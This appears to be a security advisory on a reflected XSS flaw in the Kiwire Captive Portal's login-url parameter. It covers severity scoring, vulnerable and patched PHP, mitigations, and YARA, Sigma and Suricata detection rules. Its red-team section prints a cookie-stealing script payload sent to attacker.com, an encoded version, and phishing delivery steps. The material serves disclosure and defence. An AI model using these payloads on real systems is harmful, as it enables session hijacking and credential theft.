CVE-2025-11189

Executive Summary

CVE-2025-11189 is a reflected Cross-Site Scripting (XSS) vulnerability identified in the Kiwire Captive Portal. The flaw resides in the login-url parameter, which fails to properly sanitize user-supplied input before reflecting it back to the browser. An attacker can craft a malicious URL containing JavaScript payloads; when a victim clicks the link, the script executes in the context of the captive portal domain. This can lead to session hijacking, credential theft, or redirection to malicious sites. The vulnerability has a CVSS base score of 6.1 (Medium), with no known patch currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the public nature of the vulnerability.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone web application issue within the Kiwire Captive Portal software.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The victim must click a crafted link.
• Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of content possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the simplicity of exploitation elevate the risk for organizations using Kiwire Captive Portal.

Deep Dive & Mechanics

The Kiwire Captive Portal is a web-based authentication gateway used to manage network access. The login-url parameter is intended to redirect users after successful login. However, the application does not validate or encode the input before embedding it in the HTML response. An attacker can inject arbitrary JavaScript by crafting a URL like:

https://target-captive-portal.com/login?login-url=javascript:alert(document.cookie)

When the victim clicks this link, the browser interprets the login-url value as a JavaScript URI, executing the payload. Alternatively, the attacker can use standard XSS payloads:

https://target-captive-portal.com/login?login-url="><script>alert('XSS')</script>

The lack of output encoding or input validation allows the injected script to run in the victim's browser session, potentially stealing cookies, session tokens, or performing actions on behalf of the user.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// vulnerable.php
$login_url = $_GET['login-url'];
echo "<a href='$login_url'>Click here to login</a>";

Patched Code (Conceptual):

// patched.php
$login_url = $_GET['login-url'];
$sanitized_url = htmlspecialchars($login_url, ENT_QUOTES, 'UTF-8');
echo "<a href='$sanitized_url'>Click here to login</a>";

The patched version uses htmlspecialchars() to encode special characters, preventing script injection. Additionally, a whitelist of allowed URL schemes (e.g., http, https) should be enforced.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Kiwire Captive Portal instance (e.g., version unknown).
• A web browser or tool like curl to craft requests.

Exploitation Steps:

1. Identify the vulnerable parameter: login-url.
2. Craft a malicious URL:

   http://target/login?login-url=javascript:alert(document.cookie)
   

3. Send the link to a victim via phishing email or social engineering.
4. When the victim clicks, the JavaScript executes, exfiltrating cookies to an attacker-controlled server.

Example Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Encoded Payload:

http://target/login?login-url=%22%3E%3Cscript%3Efetch('https://attacker.com/steal?cookie='%2Bdocument.cookie)%3C/script%3E

Blue Team

Detection:

• Monitor web server logs for requests containing login-url with suspicious patterns (e.g., <script>, javascript:, onerror=).
• Use WAF rules to block requests with XSS payloads in the login-url parameter.

Mitigation:

• Apply input validation and output encoding as shown in the patched code.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Disable the login-url parameter if not required, or restrict it to a whitelist of allowed URLs.

Indicators of Compromise (IOCs)

• URL Patterns:
  • */login?login-url=*<script>*
  • */login?login-url=*javascript:*
  • */login?login-url=*onerror=*
• Network Traffic:
  • Outbound connections to unknown domains from captive portal users.
  • HTTP requests with Referer header pointing to the captive portal login page.
• Log Entries:
  • Web server logs showing login-url parameter with encoded or malicious characters.

Detection Engineering

YARA Rule

rule CVE_2025_11189_Kiwire_XSS {
    meta:
        description = "Detects reflected XSS attempts against Kiwire Captive Portal login-url parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11189"
    strings:
        $xss1 = /login-url=.*<script/i
        $xss2 = /login-url=.*javascript:/i
        $xss3 = /login-url=.*onerror=/i
        $xss4 = /login-url=.*alert\(/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in Kiwire Captive Portal login-url Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the login-url parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'login-url='
        cs-uri-query|contains|any:
            - '<script'
            - 'javascript:'
            - 'onerror='
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11189 Kiwire Captive Portal Reflected XSS"; flow:to_server,established; content:"login-url="; http_uri; pcre:"/login-url=.*(<script|javascript:|onerror=|alert\()/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the login-url parameter if not essential for business operations.
2. Implement a Web Application Firewall (WAF) rule to block XSS payloads in the login-url parameter.
3. Apply input validation – only allow URLs from a whitelist of trusted domains.
4. Use output encoding – encode all user-supplied data before rendering in HTML.

Long-Term Fix:

• The vendor (Kiwire) must release a patch that properly sanitizes the login-url parameter. Until then, consider replacing the captive portal with a secure alternative.

Monitoring:

• Continuously monitor web logs for XSS attempts.
• Use the provided YARA, Sigma, and Suricata rules for detection.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert